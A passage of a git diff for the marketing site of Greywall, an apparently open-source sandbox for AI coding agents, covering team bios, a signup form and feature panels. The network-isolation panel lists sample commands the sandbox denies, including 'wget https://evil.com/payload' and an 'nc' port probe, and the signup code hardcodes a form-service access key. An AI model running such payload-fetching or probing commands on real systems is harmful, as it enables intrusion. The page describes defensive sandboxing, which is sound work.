via <a href="https://github.com/GreyhavenHQ/greywall/security" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">GitHub Security Advisories</a>.
|
||||
We will respond promptly.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Contact</h2>
|
||||
<p>
|
||||
For questions about this policy,
|
||||
reach us at <a href="https://greyhaven.co/contact" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">greyhaven.co/contact</a>.
|
||||
</p>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<div className="mt-16 pt-8 border-t border-border/30">
|
||||
<a href="/" className="text-sm text-muted-foreground hover:text-foreground transition-colors font-sans">
|
||||
← Back to Greywall
|
||||
</a>
|
||||
</div>
|
||||
</article>
|
||||
</main>
|
||||
)
|
||||
}
|
||||
9
app/sitemap.ts
Normal file
@@ -0,0 +1,9 @@
|
||||
import type { MetadataRoute } from 'next'
|
||||
|
||||
export default function sitemap(): MetadataRoute.Sitemap {
|
||||
return [
|
||||
{ url: 'https://greywall.io', lastModified: new Date(), changeFrequency: 'weekly', priority: 1 },
|
||||
{ url: 'https://greywall.io/greyscan', lastModified: new Date(), changeFrequency: 'monthly', priority: 0.8 },
|
||||
{ url: 'https://greywall.io/privacy', lastModified: new Date(), changeFrequency: 'yearly', priority: 0.3 },
|
||||
]
|
||||
}
|
||||
@@ -1,44 +1,104 @@
|
||||
import { Users } from 'lucide-react'
|
||||
|
||||
export function About() {
|
||||
return (
|
||||
<section id="about" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Users className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
About
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-2xl sm:text-3xl md:text-4xl font-semibold tracking-tight mb-4">
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
|
||||
We built it for ourselves, then open-sourced it.
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
<div className="max-w-3xl space-y-4 text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
<div className="max-w-3xl space-y-4 text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
<p>
|
||||
Greywall was built by{' '}
|
||||
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">Greyhaven</a>,
|
||||
where we build custom{' '}
|
||||
<a href="https://greyhaven.co/insights/greyhaven-sovereign-ai-framework" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">sovereign AI</a> solutions for enterprises.
|
||||
We needed kernel-enforced sandboxing with real-time visibility. Nothing existed, so we built it.
|
||||
We needed kernel-enforced sandboxing with real-time visibility inside client environments, so we built it.
|
||||
</p>
|
||||
<p>
|
||||
It runs in our production deployments every day. We open-sourced it because the security
|
||||
layer around your tools should be independent of the company selling you the AI.
|
||||
We actively maintain it and ship updates regularly.
|
||||
It runs in production deployments today. We open-sourced it because the control layer around the agent should not depend on the company selling the model.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="mt-16 border-t border-border/30 pt-16">
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">
|
||||
Need more than sandboxing?
|
||||
{/* Team */}
|
||||
<div className="mt-16 border-t border-border/30 pt-16 mb-16">
|
||||
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-8">
|
||||
The people behind it.
|
||||
</h3>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed max-w-2xl mb-8">
|
||||
Greywall is one piece of a larger platform. For enterprises that need sovereign AI
|
||||
infrastructure, private model deployment, and end-to-end agent orchestration,
|
||||
Greyhaven builds custom solutions on your terms.
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4 sm:gap-6">
|
||||
<a
|
||||
href="https://github.com/cowpig"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/cowpig.png?size=64"
|
||||
alt="Max McCrea"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Max McCrea</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">CEO & Founder, Greyhaven</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
AI researcher, Recurse Center alumnus. Built Monadical since 2016. Now building sovereign AI infrastructure.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/nikitalokhmachev-ai"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/nikitalokhmachev-ai.png?size=64"
|
||||
alt="Nikita Lokhmachev"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Nikita Lokhmachev</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">Technical Product Lead</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
Former startup CTO, Fulbright scholar. Leads AI tooling and process engineering.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/tito"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/tito.png?size=64"
|
||||
alt="Mathieu Virbel"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Mathieu Virbel</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">Senior Team Lead</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
Creator of <a href="https://github.com/kivy/kivy" target="_blank" rel="noopener noreferrer" className="text-foreground hover:text-primary transition-colors">Kivy</a> (19k+ stars). Full stack engineer, GSoC mentor.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="border-t border-border/30 pt-16">
|
||||
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-4">
|
||||
Need the rest of the system?
|
||||
</h3>
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mb-8">
|
||||
Greywall is one layer in a larger deployment model. For teams that need private model hosting, workflow design, and contained end-to-end systems, Greyhaven builds the surrounding infrastructure.
|
||||
</p>
|
||||
<a
|
||||
href="https://greyhaven.co/contact"
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
import { CheckCircle2 } from 'lucide-react'
|
||||
import Image from 'next/image'
|
||||
|
||||
const agents = [
|
||||
{ name: 'Claude Code', org: 'anthropics', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
||||
{ name: 'Codex', org: 'openai', url: 'https://github.com/openai/codex' },
|
||||
{ name: 'Cursor', org: 'getcursor', url: 'https://cursor.com' },
|
||||
{ name: 'Aider', org: 'Aider-AI', url: 'https://aider.chat' },
|
||||
{ name: 'Goose', org: 'block', url: 'https://github.com/block/goose' },
|
||||
{ name: 'Amp', org: 'sourcegraph', url: 'https://ampcode.com' },
|
||||
{ name: 'Gemini CLI', org: 'google-gemini', url: 'https://github.com/google-gemini/gemini-cli' },
|
||||
{ name: 'Cline', org: 'cline', url: 'https://cline.bot' },
|
||||
{ name: 'OpenCode', org: 'nicepkg', url: 'https://opencode.ai/' },
|
||||
{ name: 'Copilot', org: 'github', url: 'https://github.com/features/copilot' },
|
||||
{ name: 'Claude Code', icon: '/agents/anthropics.png', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
||||
{ name: 'Codex', icon: '/agents/openai.png', url: 'https://github.com/openai/codex' },
|
||||
{ name: 'Cursor', icon: '/agents/getcursor.png', url: 'https://cursor.com' },
|
||||
{ name: 'Aider', icon: '/agents/aider-ai.png', url: 'https://aider.chat' },
|
||||
{ name: 'Goose', icon: '/agents/block.png', url: 'https://github.com/block/goose' },
|
||||
{ name: 'Amp', icon: '/agents/sourcegraph.png', url: 'https://ampcode.com' },
|
||||
{ name: 'Gemini CLI', icon: '/agents/google-gemini.png', url: 'https://github.com/google-gemini/gemini-cli' },
|
||||
{ name: 'Cline', icon: '/agents/cline.png', url: 'https://cline.bot' },
|
||||
{ name: 'OpenCode', icon: '/agents/nicepkg.png', url: 'https://opencode.ai/' },
|
||||
{ name: 'Copilot', icon: '/agents/github.png', url: 'https://github.com/features/copilot' },
|
||||
]
|
||||
|
||||
export function Agents() {
|
||||
@@ -18,18 +18,14 @@ export function Agents() {
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<CheckCircle2 className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Compatibility
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Compatibility
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Works with every agent.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
All agents work perfectly inside their sandbox but can't impact anything outside
|
||||
it. No agent-specific configuration needed.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
Greywall sits under the agent process. If the tool runs locally, it can run inside the same filesystem and network boundaries without agent-specific setup.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -42,8 +38,8 @@ export function Agents() {
|
||||
rel="noopener noreferrer"
|
||||
className="group flex items-center gap-2.5 sm:gap-3 p-3 sm:p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
|
||||
>
|
||||
<img
|
||||
src={`https://github.com/${agent.org}.png?size=64`}
|
||||
<Image
|
||||
src={agent.icon}
|
||||
alt={agent.name}
|
||||
width={28}
|
||||
height={28}
|
||||
|
||||
109
components/beta-signup.tsx
Normal file
@@ -0,0 +1,109 @@
|
||||
'use client'
|
||||
|
||||
import { useState, type FormEvent } from 'react'
|
||||
import { Check } from 'lucide-react'
|
||||
import { CTAButton } from './cta-button'
|
||||
|
||||
type Mode = 'button' | 'input' | 'submitting' | 'success' | 'error'
|
||||
|
||||
type BetaSignupProps = {
|
||||
subject: string
|
||||
message: string
|
||||
buttonClassName?: string
|
||||
submitClassName?: string
|
||||
inputClassName?: string
|
||||
helperTextClassName?: string
|
||||
successClassName?: string
|
||||
errorClassName?: string
|
||||
formClassName?: string
|
||||
wrapperClassName?: string
|
||||
}
|
||||
|
||||
export function BetaSignup({
|
||||
subject,
|
||||
message,
|
||||
buttonClassName = '',
|
||||
submitClassName = '',
|
||||
inputClassName = '',
|
||||
helperTextClassName = 'text-xs text-muted-foreground/60 font-serif',
|
||||
successClassName = 'inline-flex items-center gap-2 rounded-md border border-primary/20 bg-primary/[0.05] px-5 py-2.5 font-sans text-sm text-primary font-medium',
|
||||
errorClassName = 'text-xs text-red-400/80 font-sans text-center',
|
||||
formClassName = 'flex items-center gap-2',
|
||||
wrapperClassName = 'flex flex-col items-center gap-2',
|
||||
}: BetaSignupProps) {
|
||||
const [mode, setMode] = useState<Mode>('button')
|
||||
const [email, setEmail] = useState('')
|
||||
const [error, setError] = useState('')
|
||||
|
||||
async function onSubmit(e: FormEvent<HTMLFormElement>) {
|
||||
e.preventDefault()
|
||||
if (mode === 'submitting') return
|
||||
setMode('submitting')
|
||||
setError('')
|
||||
|
||||
try {
|
||||
const res = await fetch('https://api.web3forms.com/submit', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Accept: 'application/json',
|
||||
},
|
||||
body: JSON.stringify({
|
||||
access_key: '85d3252e-5890-450c-aa93-12dc89c7c9b5',
|
||||
subject,
|
||||
from_name: 'Greywall waitlist',
|
||||
email,
|
||||
message,
|
||||
botcheck: '',
|
||||
}),
|
||||
})
|
||||
|
||||
const data = await res.json()
|
||||
if (data.success) {
|
||||
setMode('success')
|
||||
setEmail('')
|
||||
} else {
|
||||
setMode('error')
|
||||
setError(data.message || 'Something went wrong. Try again?')
|
||||
}
|
||||
} catch {
|
||||
setMode('error')
|
||||
setError('Network error. Try again?')
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<div className={wrapperClassName}>
|
||||
{mode === 'button' && (
|
||||
<CTAButton onClick={() => setMode('input')} className={buttonClassName}>
|
||||
Talk to us
|
||||
<span aria-hidden="true">→</span>
|
||||
</CTAButton>
|
||||
)}
|
||||
{(mode === 'input' || mode === 'submitting') && (
|
||||
<form onSubmit={onSubmit} className={formClassName}>
|
||||
<input
|
||||
type="email"
|
||||
required
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
placeholder="you@company.com"
|
||||
autoFocus
|
||||
className={inputClassName}
|
||||
/>
|
||||
<CTAButton type="submit" disabled={mode === 'submitting'} className={submitClassName}>
|
||||
{mode === 'submitting' ? '...' : 'Join'}
|
||||
</CTAButton>
|
||||
</form>
|
||||
)}
|
||||
{mode === 'success' && (
|
||||
<div className={successClassName}>
|
||||
<Check className="h-4 w-4" />
|
||||
Thanks — we'll be in touch.
|
||||
</div>
|
||||
)}
|
||||
{mode === 'error' && <p className={errorClassName}>{error}</p>}
|
||||
<p className={helperTextClassName}>Running Greywall across multiple teams? We're building a managed governance layer.</p>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { ArrowRight, Check, X, Minus } from 'lucide-react'
|
||||
import { Check, X, Minus } from 'lucide-react'
|
||||
|
||||
type CellValue = 'yes' | 'no' | 'partial' | string
|
||||
|
||||
@@ -109,22 +109,22 @@ const rows: Row[] = [
|
||||
function CellIcon({ value }: { value: CellValue }) {
|
||||
if (value === 'yes') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||
<Check className="h-3 w-3 text-green-400" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10" aria-label="Supported">
|
||||
<Check className="h-3 w-3 text-green-400" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
if (value === 'no') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||
<X className="h-3 w-3 text-red-400/70" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10" aria-label="Not supported">
|
||||
<X className="h-3 w-3 text-red-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
if (value === 'partial') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10" aria-label="Partial support">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
@@ -138,18 +138,14 @@ export function Comparison() {
|
||||
<section id="comparison" className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<ArrowRight className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
How it compares
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Not all sandboxes are equal.
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
How it compares
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Different tools enforce different boundaries.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Greywall combines filesystem isolation, network control, syscall filtering,
|
||||
and real-time monitoring in a single tool. Here's how it stacks up.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
Greywall combines filesystem controls, network controls, command blocking, and runtime visibility in one local tool.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -161,7 +157,7 @@ export function Comparison() {
|
||||
<th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
Feature
|
||||
</th>
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-foreground">
|
||||
Greywall
|
||||
</th>
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
@@ -214,19 +210,19 @@ export function Comparison() {
|
||||
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||
<Check className="h-3 w-3 text-green-400" />
|
||||
<Check className="h-3 w-3 text-green-400" aria-hidden="true" />
|
||||
</span>
|
||||
Supported
|
||||
</div>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
Partial
|
||||
</div>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||
<X className="h-3 w-3 text-red-400/70" />
|
||||
<X className="h-3 w-3 text-red-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
Not supported
|
||||
</div>
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||
import { FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const tree = [
|
||||
@@ -22,15 +22,15 @@ const accessLabels: Record<string, string> = {
|
||||
}
|
||||
|
||||
function badgeClasses(color: string) {
|
||||
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
|
||||
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
|
||||
return 'bg-red-400/10 text-red-400/70'
|
||||
if (color === 'green') return 'bg-emerald-50 text-emerald-700'
|
||||
if (color === 'yellow') return 'bg-amber-50 text-amber-700'
|
||||
return 'bg-red-50 text-red-600'
|
||||
}
|
||||
|
||||
function textColor(color: string) {
|
||||
if (color === 'green') return 'text-green-400/80'
|
||||
if (color === 'yellow') return 'text-yellow-400/70'
|
||||
return 'text-red-400/70'
|
||||
if (color === 'green') return 'text-emerald-600'
|
||||
if (color === 'yellow') return 'text-amber-600'
|
||||
return 'text-red-500'
|
||||
}
|
||||
|
||||
export function Control() {
|
||||
@@ -41,18 +41,14 @@ export function Control() {
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Control
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Control
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Default deny. Explicit allow.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Agents inherit your full permissions. Greywall flips this: nothing is accessible
|
||||
unless explicitly granted. Filesystem, network, and commands all start closed.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
An agent normally inherits your user account. Greywall reverses that default: filesystem paths, network access, and blocked commands all begin closed until you allow them.
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
@@ -60,9 +56,9 @@ export function Control() {
|
||||
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
|
||||
{/* Directory tree visualization */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<FolderLock className="h-5 w-5 text-primary" />
|
||||
<FolderLock className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
|
||||
</div>
|
||||
<div className="space-y-1 font-mono text-xs sm:text-sm">
|
||||
@@ -78,15 +74,14 @@ export function Control() {
|
||||
))}
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
|
||||
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
|
||||
are always protected, even inside allowed directories.
|
||||
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files stay protected even when nearby directories are allowed.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Network isolation */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<Wifi className="h-5 w-5 text-primary" />
|
||||
<Wifi className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
|
||||
</div>
|
||||
{platform === 'linux' ? (
|
||||
@@ -98,31 +93,29 @@ export function Control() {
|
||||
<div className="font-mono text-xs space-y-1">
|
||||
<div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-emerald-300">socks5://localhost:43052</span></div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
<span className="text-foreground truncate">curl https://api.anthropic.com</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
<span className="text-foreground truncate">npm install lodash</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
<span className="text-foreground truncate">wget https://evil.com/payload</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
<span className="text-foreground truncate">nc -z 10.0.0.1 22</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
Full network namespace isolation. The process can't see the host network.
|
||||
Every packet hits the TUN device and routes through GreyProxy, including
|
||||
binaries that ignore proxy env vars.
|
||||
The process cannot see the host network directly. Traffic passes through the TUN device and GreyProxy, including binaries that ignore proxy environment variables.
|
||||
</p>
|
||||
</div>
|
||||
) : (
|
||||
@@ -132,83 +125,82 @@ export function Control() {
|
||||
Generated Seatbelt policy
|
||||
</div>
|
||||
<div className="font-mono text-xs space-y-1">
|
||||
<div className="text-red-400/70">(deny default)</div>
|
||||
<div className="text-red-300">(deny default)</div>
|
||||
<div className="text-muted-foreground">(deny network-outbound)</div>
|
||||
<div className="text-green-400/70">
|
||||
<div className="text-emerald-300">
|
||||
(allow network-outbound
|
||||
</div>
|
||||
<div className="text-green-400/70 ml-4">
|
||||
<div className="text-emerald-300 ml-4">
|
||||
(remote tcp "localhost:43051"))
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
|
||||
<span className="text-foreground truncate">api.anthropic.com</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
|
||||
<span className="text-foreground truncate">registry.npmjs.org</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
|
||||
<span className="text-foreground truncate">evil.com (direct)</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
|
||||
<span className="text-foreground truncate">analytics.vendor.io</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
All outbound traffic is blocked at the kernel. Only the proxy address is
|
||||
reachable. GreyProxy then applies domain-level allow/deny rules.
|
||||
Outbound traffic is blocked at the kernel except for the proxy path you allow. GreyProxy then applies domain rules on top.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Command blocking */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<Ban className="h-5 w-5 text-primary" />
|
||||
<Ban className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">git push origin main</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
